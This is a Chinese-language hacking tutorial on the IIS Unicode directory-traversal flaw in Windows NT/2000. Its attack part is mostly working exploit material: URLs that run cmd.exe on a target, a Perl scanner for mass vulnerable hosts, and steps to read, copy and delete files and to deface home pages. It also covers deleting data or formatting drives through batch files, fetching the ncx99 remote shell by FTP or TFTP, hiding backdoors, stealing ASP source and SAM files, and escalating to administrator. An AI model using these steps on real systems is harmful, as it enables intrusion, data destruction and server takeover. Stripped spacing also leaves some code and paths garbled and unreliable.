UNICODE漏洞的原理

一、UNICODE漏洞的原理
此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,
台湾繁体中文也同样存在这样的漏洞。
中文版的WIN2000中,UNICODE编码存在BUG,在UNICODE编码中
%c1%1c-〉(0xc1-0xc0)*0x40+0x1c=0x5c=‘/‘
%c0%2f-〉(0xc0-0xc0)*0x40+0x2f=0x2f=‘‘
在NT4中/编码为%c1%9c
在英文版里:
WIN2000英文版%c0%af
但从国外某些站点得来的资料显示,还有以下的编码可以实现对该漏洞的检测,具体情况本人未做详细的证实:
%c1%pc
%c0%9v
%c0%qf
%c1%8s
%e0%80%af
%f0%80%80%af
%fc%80%80%80%80%af
或许是什么日文版、韩文版之类,win2000Terminal版有兴趣的朋友可以试试。
二、UNICODE漏洞的检测
以下均以中文版WIN2K为例,如果是其他NT版本,按上面所述的编码替换以下代码中的%c1%1c
最简单的检测方法:
比如说有一IP地址为X.X.X.X的WIN2K主机,我们可以在地址栏输入
x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
如果存在此漏洞的话,我们便可以看到以下的内容:(例子假设SCRIPTS目录里无文件)
DirectoryofC:inetpubscripts
2000-09-2815:49〈DIR〉.
2000-09-2815:49〈DIR〉..

这是我们在很多经验交谈中常看到大家使用的方法,实际上我们也可以改为这样
127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/r+dir
即r=c这个字母的取代,在本文发表之前,网络里没有介绍过,关于r这字母可以等效于c,我们可以通过cmd/?可以得到解释。

当然,如果目标主机的管理员把该目录删除掉,我们就无法看到了,但是还有以下的目录是同样可以用来测试的。

//x.x.x.x/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
运行后,我们可以看到
Directoryofc:programfilescommonfilessystemmsadc
2000-08-0619:16
.
2000-08-0619:16
..
(以下内容略)
19File(s)1,233,840bytes
2Dir(s)6,290,644,992bytesfree

如果漏洞和目录同时存在的话,你就可以在WEB页上看到相对应的目录里的一切内容。这仅是对单一目标主机的漏洞检测,如果想对某一IP段上的NT主机做UNICODE漏洞的检测,我们就需要使用类似以下的扫描软件。
以下的源码是外国黑客写的,当然就只扫描英文版的NT,要扫描中文版的,需要做相应的修改。
#!/usr/bin/perl
#RootShellHackers
#piffy
#thisisaquickscannerithrewtogetherwhile
supposedlydoinghomeworkinmyroom.
#itwillgothroughalistofsitesandcheckifit
givesadirectorylistingforthenewIIShole
#itchecksforboth%c0%afand%c1%9c
#perhapsapublicscripttodosomeevilstuffwiththis
exploitlater...h0h0h0
#werd:allofrsh,0x7f,hackweiser,rainforestpuppy
forresearchingthehole=]
usestrict;
useLWP::UserAgent;
useHTTP::Request;
useHTTP::Response;
my$def=newLWP::UserAgent;
my@host;
print"rootshellhackersn";
print"iiscmdholescannern";
print"codedbypiffyn";
print"nWhatfilecontainsthehosts:";
chop(my$hosts=);
open(IN,$hosts)││die"nCouldnotopen$hosts:$!";
while()
{
$host[$a]=$_;
chomp$host[$a];
$a++;
$b++;
}
close(IN);
$a=0;
print"ph34r,scanstarted";
while($a<$b)
{
my
$url="//$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
";
my$request=newHTTP::Request(‘GET‘,$url);
my$response=$def->request($request);
if($response->is_success){
print$response->content;
open(OUT,">>scaniis.log");
printOUT"n$host[$a]:$response->content";
-closeOUT;
}else{
print$response->error_as_HTML;
}
&second()
}

subsecond(){
my
$url2="//$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:
";
my$request=newHTTP::Request(‘GET‘,$url2);
my$response=$def->request($request);
if($response->is_success){
print$response->content;
open(OUT,">>scaniis.log");
printOUT"n$host[$a]:$response->content";
-closeOUT;
}else{
print$response->error_as_HTML;
}
$a++;
}


——————————————————————————————————
以上的pl程序你可以在本机运行(当然需要安装PERL),也可以在远程的
服务器上运行。

三、UNICODE编码漏洞简单利用的命令
一般情况下我们用

//x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

看到的目录是空的:(例如)
DirectoryofC:inetpubscripts
2000-09-2815:49〈DIR〉.
2000-09-2815:49〈DIR〉..
如果我们这样输入的话:

//x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:

就可以看到该主机c:盘的目录和文件了。
其他的一些简单的用法:
1、显示文件内容
如果想显示里面的其中一个badboy.txt文本文件,我们可以这样输入(htm,html,asp,bat等文件都是一样的)

//x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:badboy.txt

那么该文件的内容就可以通过IE显示出来。
2、建立文件夹的命令

//x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:badboy

运行后我们可以看到返回这样的结果:
CGIError
ThespecifiedCGIapplicationmisbehavedbynot
returningacomplete
setofHTTPheaders.Theheadersitdidreturnare:
英文意思是
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:
3、删除空的文件夹命令:

//x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:badboy

返回信息同上
4、删除文件的命令:

//x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:badboy.txt

返回信息同上
5、copy文件且改名的命令:

//x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:badboy.txt
bad.txt
返回信息:
CGIError
ThespecifiedCGIapplicationmisbehavedbynot
returningacomplete
setofHTTPheaders.Theheadersitdidreturnare:
1file(s)copied.
6、显示目标主机当前的环境变量

//127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+set

返回的信息:
CGIError
ThespecifiedCGIapplicationmisbehavedbynot
returningacomplete
setofHTTPheaders.Theheadersitdidreturnare:
ALLUSERSPROFILE=E:DocumentsandSettingsAllUsers
AUTH_TYPE=Negotiate
AUTH_USER=BADBOYCL-DQQZQQbadboy
CASL_BASEDIR_ENV=E:scanCyberCopScannercasl
CommonProgramFiles=E:ProgramFilesCommonFiles
COMPUTERNAME=BADBOYCL-DQQZQQ
ComSpec=E:WINNTsystem32cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=127.0.0.1
HTTP_USER_AGENT=Mozilla/4.0(compatible;MSIE5.01;
WindowsNT5.0)
HTTP_AUTHORIZATION=Negotiate
TlRMTVNTUAADAAAAGAAYAIgAAAAYABgAoAAAAB4AHgBAAAAADAAMAF4AAAAeAB4AagAAAAAAAAC4AAAABYKAgEIAQQBEAE
IATwBZAEMATAAtAEQAUQBRAFoAUQBRAGIAYQBkAGIAbwB5AEIAQQBEAEIATwBZAEMATAAtAEQAUQBRAFoAUQBRAODLOAUs
BqOAQ3/+AfwqHKj8Q2vzSAGGgkD6hCEY0EoOIKZVHMr4lmc1Ju37n7SleT==

HTTP_ACCEPT_ENCODING=gzip,deflate
HTTPS=off
INSTANCE_I
7、把某个文件夹内的全部文件一次性COPY到另外的文件夹去

//127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+xcopy
c:badboyc:inetpubwwwroot
返回的信息:
CGIError
ThespecifiedCGIapplicationmisbehavedbynot
returningacomplete
setofHTTPheaders.Theheadersitdidreturnare:
我们查看c:inetpubwwwroot文件夹,结果所有c:badboy内的都拷贝到该目录里了
8、把某个文件夹剪贴到指定的目录去

//127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+move
c:badboyc:inetpubwwwroot
呵呵,还是可以做到的,时间的长短要看文件的多少了
9、显示某一路径下相同文件类型的文件内容

//127.0.0.1/scripts/..%c1%1c..winnt/system32/find.exe?/n+/v+""+c:inetpubwwwroot*.ht*

完全显示出来呀
同样,还有很多命令可以执行,大家可以试试,不过有些时间会很久,有些是不能执行的。
解释+号,在这里+等于空格键,当然你也可以用空格键,用空格键运行后会转换为%20和%c1%1c=/是同一道理的。
对于名字超过8个字母的文件夹,如果我们想看里面的内容时就有点不同了比如说我们想看目标主机ProgramFiles文件夹里面的内容时,应该这样输入
//127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:progra~1
这里就不能用+或者%20来代替program与files间的空格。
至于对aabb这样中间带有空格的文件夹怎么看,目前我还不知道,如果谁知道可以写出来。

在攻略2里我提到
至于对aabb这样中间带有空格的文件夹怎么看,目前我还不知道,如果谁知道可以写出来。
通过对dos的8.3规则的补习,终于弄明白怎么看aabb文件夹了方法就是以下
//127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20e:aabb~1aabb=aabb~1
如果同目录下还有aabb文件夹,就用这样的代码看aabb文件夹里的内容

//127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20e:aabb~2依此类推。

四、如何简单地修改目标主机的web页面
一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具>>>。
先复习一下这些命令和管道工具的功能。
D:>echo/?
显示信息,或将命令响应打开或关上。
ECHO[ON│OFF]
ECHO[message]
仅键入ECHO而不加参数,可以显示当前的ECHO设置。

管道工具>>>的功能
">>>"是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中.>>产生的内容将追加进文件中,>则将原文件内容覆盖。

再看看cmd/?里面的部分内容:
请注意,如果字符串有引号,可以接受用命令分隔符‘&&‘隔开的多个命令。并且,由于兼容原因,/X与/E:ON相同,/Y与/E:OFF相同,并且/R与/C相同。忽略任何其它命令选项。
如果指定了/C或/K,命令选项后的命令行其余部分将作为命令行处理;在这种情况下,会使用下列逻辑处理引号字符("):
1.如果符合下列所有条件,那么在命令行上的引号字符将被
保留:
-不带/S命令选项
-整整两个引号字符
-在两个引号字符之间没有特殊字符,特殊字符为下列中的
一个:<>()@^│
-在两个引号字符之间有至少一个空白字符
-在两个引号字符之间有至少一个可执行文件的名称。
2.否则,老办法是,看第一个字符是否是一个引号字符,如果是,舍去开头的字符并删除命令行上的最后一个引号字符,保留最后一个引号字符之后的文字。

从以上可以得到什么启示?
我们知道IIS加载程序检测到有CMD.EXE或者COMMAND.COM串就要检测特殊字符“&│(,;%<>”,如果发现有这些字符就会返回500错误,所以不能直接使用CMD.EEX加管道符等。
通过

//x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+badboy+>;
c:badboy.txt
我们可以看到提示
HTTP500-内部服务器错误
InternetExplorer
经过反复测试,并从上面cmd内容的提示,我们可以会发现"引号字符是可以利用的,中联绿盟的yuange(袁哥)发布过关于这字符的公告,我想也许也是从上面的cmd/?信息中得到提示的,(纯属个人猜想,如果不是,请yuange不要见怪)。

我们要得到echo与>的结合使用,可以这样操作。

//x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+badboy+>
c:badboy.txt
注意,与开始的命令的区别只在于cmd后面多了个"字符。
运行后我们可以看到返回这样的结果:
CGIError
ThespecifiedCGIapplicationmisbehavedbynot
returningacomplete
setofHTTPheaders.Theheadersitdidreturnare:
英文意思是
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:

实际上,我们已经把badboy写入到c:badboy.txt文件里了。

利用这样的方法我们可以建立.bat.txt.asp.htm.html等文件,这对于一个存在这漏洞的网站可以说是致命打击的开始,尤其是能写.bat文件如果我们在autoexe.bat里面加入formatdel等命令时,你想结果会如何??

回到修改网站页面的问题来。
比如说想修改c:inetpubwwwrootdefault.asp
我们就可以这样在地址栏输入:

//x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+your+site+has+unicode+bug+>
c:inetpubwwwrootdefault.asp
那么再看他的首页时,已经被修改为
yoursitehasunicodebug

事情就那么简单,任何一个普通人都可以通过地址栏对存在该漏洞的目标主机做最简单的HACK行为。
当然,如果为了方便输入,我们可以把cmd.exe改名为其他名字的文件,比如说c.exe

//x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:winntsystem32cmd.exe+c:inetpubscriptsc.exe
以后使用就可以直接
//x.x.x.x/scripts/c.exe?/c+echo+badboy+>;
c:badboy.txt
、bat命令法
很多文章都没有介绍如何在unicode编码漏洞中如何利用BAT命令,实际上运用批处理,可以执行很多在地址栏里无法执行的命令,并且可以简化你输入的过程。
例子:
baddel.bat
del/f/s/qc:files*.*
rdc:files
我们可以这样建立和执行

//127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+del%20/f%20/s%20/q%20c:files*.*>baddel.bat

//127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+rd%20c:files>>baddel.bat

//127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+baddel
结果C盘里的files目录和文件都被删除了。
如果我们把批处理改为formatd:/q之类的话,那么D盘就被格式化了。
同样,你可以运用批处理进行更多的攻击,那你就需要好好复习DOS的命令及应用了。
注意:上面第三行的代码就是执行baddel.bat,这里.bat不要输入

2、attrib的运用
用这命令查文件属性和修改文件的属性

//127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?c:inetpubwwwrootindex.htm
运行后,我们可以看到index.htm的文件属性,往往有时我们无法修改这文件,是因为这文件设为只读。

//127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?%20%2br%20%2bh%20d:inetpubwwwrootindex.htm
运行后,我们可以把index.htm文件设为只读、隐藏。如果我们把某个后门程序隐藏起来,并且管理没有设置所有文件可见,那么是不是很方便上传的东西不被管理员发现呢?
注意这里%2b等于+

//127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?%20-r%20-h%20d:inetpubwwwrootindex.htm
运行后解除文件的属性。

3、ftp的运用
有时我们需要从一个你有权限的FTP主机把你想用到的一些文件上传到目标主机去,象ncx99.exe之类的,当然你要把这些文件放在你的空间先。
……/cmd.exe?/c+echo+open+*.*.*.*>badboy.txt
……/cmd.exe?/c+echo+user>>badboy.txt
……/cmd.exe?/c+echo+pass>>badboy.txt
……/cmd.exe?/c+echo+get+ncx99.exe>>badboy.txt
……/cmd.exe?/c+echo+bye>>badboy.txt
然后运行
……/cmd".exe?/c+ftp+-s:badboy.txt
……/cmd.exe?/c+delbadboy.txt
完成以上内容后ncx99.exe已经在inetpub/scripts目录里了
剩下的就看你怎么用软件了

//x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+c:inetpubscriptsncx99.exe
还等什么快telnetx.x.x.x99
你还有什么垃圾软件,尽管放上去吧。

六、unicode编码漏洞提高篇(续)
4、TFTP运用
关于TFTP的运用我们在全攻略-5里面的工具介绍中介绍过,那工具可以在WIN9X或者NT、WIN2K下执行,前提条件是需要你在本机上安装PERL服务器程序,这对于一般的爱好者来说稍微有点困难。实际上如果你是使用NT系统或者你拥有一台NT肉机的话,就可以使用WINNTSYSTEM32下的TFTP.EXE这个软件了。
tftp/?
Transfersfilestoandfromaremotecomputerrunning
theTFTPservice.
TFTP[-i]host[GET│PUT]source[destination]
-iSpecifiesbinaryimagetransfermode(alsocalled
octet).Inbinaryimagemodethefileismoved
literally,bytebybyte.Usethismodewhen
transferringbinaryfiles.
hostSpecifiesthelocalorremotehost.
GETTransfersthefiledestinationontheremotehostto
thefilesourceonthelocalhost.
PUTTransfersthefilesourceonthelocalhostto
thefiledestinationontheremotehost.
sourceSpecifiesthefiletotransfer.
destinationSpecifieswheretotransferthefile.
帮助是英文的,自己翻译吧。
在UNICODE上的命令代码:

//x.x.x.x/scripts/tftp.exe?-i+127.0.0.1+get+ncx99.exe
你放什么软件都可以,我不喜欢木马,所以我也不再介绍你该传什么木马上去,然后怎么启动,那样走题太远了。

5、ASP相关问题
一般情况下,NT机器绝大多数都会使用到ASP写的WEB程序和SQL数据库。
大家都知道ASP代码的泄露意味着你辛辛苦苦写的ASP源码被人无偿获得,同时你的站点也很容易遭到黑手。ASP代码泄露的漏洞很多种,同样,在UNICODE编码漏洞下,你的ASP源码同样可以极易被人获取。
假设你的index.asp是一个很好的程序,那么,入侵者可以通过type命令查看你的文件。
../cmd.exe?/typec:inetpubwwwrootindex.asp
或者通过copy命令
../cmd.exe?/copyc:inetpubwwwrootindex.asp
c:inetpubwwwrootindex.txt
然后直接下载你的源码,通过分析,找到你的数据库文件。
如果你是使用SQL服务来做数据库的,同样,入侵者可以通过查看你的ASP和global.asa源码,通过分析,找到你的用户名和密码,然后通过SQL远程管理客户端进行攻击。那么,你的商业秘密和网站的资料,还有什么安全可言呢?

入侵者还可以在你的主机里上传一个ASP后门程序(ASE,应该听说过和用过吧)并隐藏起来,即使你以后补掉了UNICODE漏洞,入侵仍可在他的ASP后门程序在你未发现之前,查看、修改、删除你主机上的WEB文件。

6、获得超级用户权限
可以通过下在你的SAM文件,利用一些黑客软件(如l0phtcrack)暴力破解。
也可以利用前面介绍的上传方法把gasys.dll、cmd.exe和getadmin.exe到目标主机,然后通过一些软件或者方法获得目标主机的计算机名,再利用getadmin.exe把iuser_计算机升级为Administrator/scripts/getadmin.exe?IUSR_计算机名那还有什么事不可以做呢?已经等于完全控制这台主机了。